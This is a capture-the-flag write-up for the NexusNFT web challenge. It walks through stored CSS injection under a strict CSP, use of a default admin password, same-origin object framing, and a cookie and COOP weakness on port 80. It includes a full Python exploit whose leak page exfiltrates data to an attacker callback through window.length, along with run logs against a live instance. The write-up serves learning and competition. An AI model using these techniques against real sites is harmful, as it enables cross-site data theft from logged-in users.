07CTF 2026 - NexusNFT

A stored HTML/CSS injection behind a CSP that blocks every outbound subresource, with no JavaScript execution available anywhere on the origin. The leak ends up going through window.length — an integer — one character per admin-bot visit.

Challenge Description

2022 was a crazy year, which saw paitings of monkeys being sold for millions. I also made an NFT marketplace that year, but turns out, I didn’t secure it enough.

The handout is a Flask app, a Puppeteer admin bot, and an nginx config gluing them together.

Where the flag lives

app/main.py builds its user table like this:

1
FLAG = os.environ.get("FLAG", "flag{not_set}")
2

3
users = {
4
    "admin": {
5
        "password": os.environ.get("ADMIN_PASSWORD", "report_to_admin_if_this_works"),
6
        "name": "admin", "role": "admin", "is_seller": True,
7
        "cart": [], "balance": 999999999,
8
    },
9
    FLAG: {
10
        "password": FLAG, "name": FLAG, "role": "user", "is_seller": False,
11
        "cart": [], "balance": 1000,
12
    },
13
}

The flag is a username. And bot/server.js logs in as exactly that account:

1
const ADMIN_USERNAME = process.env.ADMIN_USERNAME || process.env.FLAG;
2
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || process.env.FLAG;

supervisord.conf passes only FLAG to the bot, so both fall through to the flag. That matters twice over. First, it tells us what to steal. Second, it means ADMIN_PASSWORD can never be set in a working deployment. If it were, the bot would try username=FLAG with password=ADMIN_PASSWORD, which is not that user’s password, and every bot visit would fail at login. The default report_to_admin_if_this_works is therefore guaranteed live, however much the string protests.

Once the bot is logged in, templates/base.html renders the flag into every page it loads:

1
<span class="user-greeting" data-username="{{ session.username }}">{{ session.username }}</span>

A data- attribute is a deliberate invitation: attribute values are the one thing CSS selectors can match on. So the intended read is a CSS attribute-selector oracle. The interesting half of this challenge is getting a single bit of that oracle back out.

Getting a stored injection

admin has is_seller: True, which unlocks /create-product, and templates/product.html renders a product description unescaped:

1
{{ product.description | safe }}

/product/<id> needs no login, so the bot can be sent straight to it, and it extends base.html — meaning our injected markup sits on the same page as the bot’s data-username. That is the whole primitive:

admin / report_to_admin_if_this_works
  -> POST /create-product  (description = payload)
  -> bot visits /product/<id>  ->  payload runs next to data-username="07CTF{...}"

The wall: a CSP with no holes

Every Flask response goes through:

1
@app.after_request
2
def add_security_headers(response):
3
    response.headers['Content-Security-Policy'] = \
4
        "default-src 'self'; script-src 'self'; style-src 'unsafe-inline' 'self';"
5
    response.headers['Cross-Origin-Opener-Policy'] = "same-origin"
6
    response.headers['X-Content-Type-Options'] = 'nosniff'
7
    response.headers['X-Frame-Options'] = 'DENY'
8
    response.headers['Referrer-Policy'] = 'no-referrer'

style-src 'unsafe-inline' is the gift. Everything else is a wall. I drove a CDP-instrumented Chrome with the bot’s exact flags and fired one payload containing every outbound channel I could think of. Verbatim verdicts:

Three channels did escape, all confirmed against a DNS logger and a raw-TCP logger:

• <link rel="dns-prefetch"> — DNS query fired. CSP does not govern it.
• <link rel="preconnect"> — DNS query and a real TCP connection to an arbitrary host:port.
• <meta http-equiv="refresh"> to an external origin — navigation is not CSP-governed.

All three are useless on their own: they are HTML elements that fire unconditionally at parse time. CSS cannot gate them, so they carry no information about the flag. And a CSP-blocked CSS URL produces no DNS and no TCP — I checked specifically, in case Chrome’s preload scanner resolved hostnames before the CSP check. It does not.

No JavaScript, anywhere

script-src 'self' allows same-origin scripts, so the real question is whether any same-origin URL returns attacker-controlled bytes that Chrome will execute. I mapped every response on the origin for content-type, nosniff, CSP, X-Frame-Options, and whether it reflects input:

/bot/                ct=text/html         nosniff=no  csp=no  xfo=no  reflects=no
/bot/api/status      ct=application/json  nosniff=no  csp=no  xfo=no  reflects=no
/bot/health          ct=application/json  nosniff=no  csp=no  xfo=no  reflects=no
/bot/<404>           ct=text/html         nosniff=YES csp=YES xfo=no  reflects=YES
/note?content=X      ct=text/html         nosniff=YES csp=YES xfo=YES reflects=YES
/flag  (nginx 404)   ct=text/html         nosniff=no  csp=no  xfo=no  reflects=no
/static/js/main.js   ct=text/javascript   nosniff=YES csp=YES xfo=YES reflects=no
/  /product/<id>     ct=text/html         nosniff=YES csp=YES xfo=YES reflects=no

Read that table as a single sentence: the only responses without nosniff are the bot server’s, and none of them reflect input; the only responses that reflect input have nosniff and are text/html. The two sets do not intersect.

The no-nosniff half is not theoretical — <script src="/bot/api/status"> genuinely executes, it just happens to be JSON:

REQ  script  http://nft-app/bot/api/status
ERR  SyntaxError: Unexpected token ':'

A SyntaxError means Chrome ran it. With controllable bytes there it would be game over. The express 404 does echo the path, but it URL-encodes it and ships Content-Security-Policy: default-src 'none' plus nosniff. There is no open redirect either, which would otherwise have bypassed script-src outright, since CSP does not re-check redirect targets.

So: CSS injection, and nothing else.

Nothing the bot touches is readable

The obvious fallback is to have the bot write the flag into server state we can read. create_product stores seller = session['username'] and /product/<id> renders {{ seller_name }} publicly — perfect, except it needs is_seller, and the flag user has is_seller: False. Every other write is POST-only and lands in state only that user can read; CSS can only issue GETs. Timing is out too: page.goto(url, {waitUntil: 'domcontentloaded'}) plus a fixed setTimeout dwell means the visit duration is constant, and CSS cannot delay DOMContentLoaded.

At this point every channel I could name was dead. The way through turned out to be three smaller mistakes that are individually harmless.

Flaw 1 — the bot server shares the app’s origin

1
location /bot/ {
2
    proxy_pass http://127.0.0.1:3000/;
3
}
4
location / {
5
    proxy_pass http://127.0.0.1:5002;
6
}

The admin-bot UI is served from the same origin as the app. It is Express, so unlike every Flask response it carries no X-Frame-Options. The app’s own frame-src falls back to default-src 'self', so a same-origin nested browsing context is allowed by CSP — and nothing else refuses it:

<iframe src="/dashboard">   ->  Refused to display ... 'X-Frame-Options' to 'deny'
<iframe src="/bot/">        ->  loads
<object data="/bot/">       ->  loads
<object data="/dashboard">  ->  blocked

Flaw 2 — an <object> only counts when it loads

window.length is the number of child browsing contexts. An <iframe> creates one the moment the element is parsed, loaded or not — a loading="lazy" iframe parked 50,000px below the fold still counts. An <object> does not: it only creates a browsing context if its resource actually loads, otherwise it falls back to its children. And CSS decides whether it loads:

baseline (visible)                    window.length=4
object{display:none}                  window.length=0     <-- suppressed
object{visibility:hidden}             window.length=4
object{content-visibility:hidden}     window.length=4
parent{display:none}                  window.length=0

Only display:none works, which is exactly what :has() can drive. That converts an attribute-selector match into an integer:

1
object { display: none }
2
body:has([data-username^="07CTF{c"]) object { display: inline-block }

prefix="07CTF{"   window.length=0     (matched -> hidden)
prefix="zzzzzz"   window.length=4     (no match -> visible)

The <object> target has to be picked with care — it must be same-origin, XFO-free, and return something that forms a document. /bot/health is the cheapest: a 20-byte same-origin JSON response.

Flaw 3 — the cookie leaks to port 80, and http kills COOP

An integer is only useful if we can read it, and Cross-Origin-Opener-Policy: same-origin is supposed to sever the opener handle the moment we window.open() the product page. The session cookie is set without Secure and without SameSite:

Set-Cookie: session=...; HttpOnly; Path=/

Cookies are scoped by host, not by origin — no port, and no scheme without Secure. The bot logs in at https://nft-app:5000, but the cookie is therefore also sent to http://nft-app/ on port 80, which nginx serves as default_server:

http://nft-app/dashboard  ->  data-username = 07ctf{l0c4l_t3st_fl4g_d4t4_us3rn4m3}

And over plain http, Chrome throws the COOP header away:

The Cross-Origin-Opener-Policy header has been ignored,
because the URL's origin was untrustworthy.

So on port 80 the opener survives, and window.length stays readable cross-origin. Port 80 also happens to be where /bot/ lives, which flaw 1 needs. One URL satisfies all three conditions at once. Popups are not blocked in the bot’s headless Chrome, so from an attacker page:

1
const w = window.open('http://nft-app/product/<id>');
2
setTimeout(() => new Image().src = '/report?n=' + w.length, 5000);

The bot dwells 20s on any URL whose origin differs from APP_URL, which is ample.

Encoding: one character per visit

A single bit per visit would be ~7 visits per character. Instead, size the <object> groups as powers of two and make window.length be the charset index. Groups g0..g6 hold 1, 2, 4, 8, 16, 32 and 64 objects. For candidate i, reveal the groups matching the set bits of i+1, so a match reads back as i+1 and “no match at all” reads back as 0:

1
rules = ["object{display:none}"]
2
for i, ch in enumerate(CHARSET):
3
    sel = '[data-username^="%s"]' % (prefix + ch)
4
    for j in range(7):
5
        if (i + 1) >> j & 1:
6
            rules.append("body:has(%s) .g%d{display:inline-block}" % (sel, j))

Prefixes are mutually exclusive, so at most one candidate ever matches. ~23 KB of CSS and 127 <object>s per product, all same-origin. One bot visit per character.

Exploit

1
#!/usr/bin/env python3
2
import hashlib, http.server, json, os, re, socketserver, threading, time
3
import urllib.parse, urllib.request, http.cookiejar
4

5
BASE     = os.environ.get("BASE", "http://127.0.0.1:8081")
6
APP_HOST = os.environ.get("APP_HOST", "http://nft-app")   # port 80, plain http -- required
7
CALLBACK = os.environ.get("CALLBACK", "http://172.17.0.1:9011")
8
LISTEN   = ("0.0.0.0", int(os.environ.get("PORT", "9011")))
9
PREFIX   = os.environ.get("PREFIX", "07CTF{")
10
ADMIN_PW = "report_to_admin_if_this_works"
11
CHARSET  = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
12
            "0123456789_{}-!?.@#$%^&*+=:;,/")
13
OBJ, NBITS = "/bot/health", 7
14

15

16
def admin_session():
17
    cj = http.cookiejar.CookieJar()
18
    op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
19
    op.open(BASE + "/login", urllib.parse.urlencode(
20
        {"username": "admin", "password": ADMIN_PW}).encode()).read()
21
    return op
22

23

24
def create_product(op, description):
25
    body = op.open(BASE + "/create-product", urllib.parse.urlencode({
26
        "title": "x", "description": description, "price": "1",
27
        "image_url": "/static/images/default_nft.png",
28
        "category": "art"}).encode()).read().decode()
29
    return re.search(r"/product/([0-9a-f-]{36})", body).group(1)
30

31

32
def bot_visit(url):
33
    c = api("/bot/api/challenge")
34
    ch, target, n = c["challenge"], "0" * c["difficulty"], 0
35
    while not hashlib.sha256((ch + str(n)).encode()).hexdigest().startswith(target):
36
        n += 1
37
    return api("/bot/api/submit", {"url": url, "challenge": ch, "nonce": n})
38

39

40
def payload(prefix):
41
    """window.length == index of the next character in CHARSET, plus one."""
42
    rules = ["object{display:none}"]
43
    for i, ch in enumerate(CHARSET):
44
        sel = '[data-username^="%s"]' % (prefix + ch).replace("\\", "\\\\").replace('"', '\\"')
45
        for j in range(NBITS):
46
            if (i + 1) >> j & 1:
47
                rules.append("body:has(%s) .g%d{display:inline-block}" % (sel, j))
48
    objs = "".join('<object class="g%d" data="%s" width=1 height=1></object>' % (j, OBJ)
49
                   for j in range(NBITS) for _ in range(1 << j))
50
    return "<style>%s</style>%s" % ("".join(rules), objs)
51

52

53
LEAK_PAGE = """<!doctype html><meta charset=utf-8><script>
54
const pid = new URLSearchParams(location.search).get('pid');
55
const w = window.open('%s/product/' + pid, 'leak');
56
setTimeout(() => {
57
  let n = -1;
58
  try { n = w.length; } catch (e) {}
59
  try { w.close(); } catch (e) {}
60
  new Image().src = '/report?n=' + n;
61
}, 5000);
62
</script>""" % APP_HOST

The full driver logs in as admin with the default password, plants one product per character, submits CALLBACK/leak?pid=<id> to the bot, and advances known by CHARSET[n - 1] each time the callback reports a non-zero window.length.

Running it

Locally, against a container built from the handout with a randomised secret_key so the /flag path could not be a shortcut:

$ docker run -d --name nft -p 8081:80 -e FLAG='07ctf{l0c4l_t3st_fl4g_d4t4_us3rn4m3}' nexusnft-local
$ python3 exploit.py
[+] logged in as admin (default password) -> seller access
    07ctf{l
    07ctf{l0
    07ctf{l0c
    ...
    07ctf{l0c4l_t3st_fl4g_d4t4_us3rn4m3}

Then against the live instance:

$ BASE=http://bfe5b19d38.ctf.bg2.in \
  APP_HOST=http://nft-app \
  CALLBACK=https://<quick-tunnel>.trycloudflare.com \
  python3 exploit.py
[+] logged in as admin (default password) -> seller access
    07CTF{c
    07CTF{cr
    07CTF{cra
    07CTF{cras
    07CTF{crasH
    07CTF{crasH3
    07CTF{crasH3d
    07CTF{crasH3dd
    07CTF{crasH3ddD
    07CTF{crasH3ddDX
    07CTF{crasH3ddDX}

[+] FLAG: 07CTF{crasH3ddDX}

Confirmed independently — the flag is the account’s password too, so POST /login with username = password = 07CTF{crasH3ddDX} returns 302 /dashboard, and a single wrong byte would 404 the user lookup. Two operational notes: APP_HOST must stay http://nft-app (that hostname only resolves inside the bot’s browser, the cookie is host-scoped to it, and it is plain http regardless of the public exposure — which is what keeps COOP disabled); and the bot drops roughly half of its visits, because bot/server.js calls page.click() and then await page.waitForNavigation(), so a fast response completes navigation before the listener attaches. The solver polls /bot/api/status and resubmits on idle.

Flag

07CTF{crasH3ddDX}